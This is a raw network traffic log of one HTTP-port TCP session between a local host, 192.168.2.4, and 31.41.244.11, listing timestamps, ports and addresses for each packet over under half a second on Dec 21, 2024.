Dec 21, 2024 18:16:14.005244017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.006043911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.006088018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.006159067 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.006206036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.007122993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.007170916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.007226944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.007272005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.008194923 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.008246899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.008276939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.008320093 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.009223938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.009270906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.009355068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.009402037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.010291100 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.010340929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.010459900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.010499001 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.011358023 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.011408091 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.011512995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.011558056 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.012425900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.012471914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.012547016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.012590885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.013478994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.013525963 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.013593912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.013643980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.014537096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.014580965 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.014646053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.014703035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.015621901 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.015671015 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.015784979 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.015856028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.016637087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.016683102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.154582977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.154654980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.154784918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.154834986 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.155105114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.155160904 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.155200958 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.155246973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.156148911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.156202078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.156274080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.156316996 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.157037020 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.157083035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.157094002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.157143116 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.158093929 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.158137083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.158191919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.158233881 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.159162045 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.159214973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.159337997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.159385920 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.160202026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.160249949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.160300970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.160346031 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.161278963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.161326885 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.161374092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.161417961 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.162321091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.162368059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.162465096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.162509918 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.163424969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.163472891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.163521051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.163573027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.164458036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.164510012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.164609909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.164655924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.165499926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.165546894 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.165616035 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.165663004 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.166567087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.166615009 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.166672945 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.166718960 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.167740107 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.167778969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.167788029 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.167818069 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.168678999 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.168725014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.168833017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.168878078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.169739962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.169786930 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.169852972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.169898987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.170903921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.170950890 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.171133041 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.171178102 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.172235966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.172288895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.172323942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.172368050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.173158884 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.173197985 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.173203945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.173239946 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.174196959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.174247980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.174540997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.174587965 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.175149918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.175199986 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.175215960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.175262928 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.176094055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.176141024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.176211119 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.176259995 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.177258968 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.177305937 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.177382946 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.177438974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.178281069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.178328037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.178344965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.178390980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.179624081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.179670095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.179693937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.179739952 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.180484056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.180538893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.180568933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.180613041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.181402922 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.181452036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.181572914 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.181619883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.182447910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.182496071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.182552099 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.182596922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.183500051 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.183546066 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.183559895 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.183602095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.184546947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.184590101 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.184638977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.184684992 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.185627937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.185678005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.185703993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.185750008 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.186688900 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.186747074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.186824083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.186870098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.187748909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.187799931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.187844992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.187897921 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.188793898 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.188843966 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.188893080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.188937902 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.189862013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.189892054 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.189917088 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.189937115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.190957069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.191009998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.191106081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.191153049 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.192020893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.192066908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.192101955 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.192147017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.193032980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.193077087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.193113089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.193155050 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.194082975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.194130898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.194184065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.194235086 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.195148945 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.195200920 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.195234060 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.195291042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.196336985 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.196355104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.196387053 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.196403980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.197298050 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.197344065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.197371006 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.197417021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.198312044 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.198359013 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.198409081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.198455095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.199374914 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.199421883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.199461937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.199508905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.200459957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.200505972 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.200536013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.200581074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.201529026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.201569080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.201575994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.201611042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.202544928 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.202595949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.202621937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.202666044 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.203629971 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.203676939 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.203705072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.203746080 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.204773903 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.204821110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.204854965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.204900026 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.205724001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.205770016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.205843925 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.205941916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.206793070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.206841946 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.206887960 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.206932068 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.207847118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.207895041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.207936049 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.207981110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.208937883 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.208985090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.209080935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.209125996 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.209944963 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.209991932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.346776962 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.346858025 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.346914053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.346966028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.347158909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.347210884 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.347290993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.347338915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.348254919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.348305941 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.348354101 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.348398924 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.349297047 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.349344969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.349395037 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.349453926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.350368977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.350416899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.350464106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.350507975 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.351897001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.351953030 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.352018118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.352062941 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.352771997 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.352822065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.352869034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.352916956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.353615999 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.353666067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.353677988 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.353724957 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.354578018 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.354620934 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.354665995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.354717016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.355632067 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.355679989 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.355750084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.355802059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.356812954 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.356858969 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.356961966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.357013941 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.357763052 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.357810974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.357903004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.357949972 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.359112978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.359163046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.359879971 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.359927893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.362406015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362422943 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362438917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362457991 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362466097 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.362504005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.362718105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362765074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.362898111 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.362943888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.363531113 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.363547087 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.363579988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.363595009 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.364125967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.364173889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.364187002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.364233971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.365164042 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.365207911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.365247011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.365288019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.366242886 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.366316080 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.366404057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.366445065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.367276907 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.367338896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.367376089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.367419958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.368345976 CET	80	49770	31.41.244.11	192.168.2.4
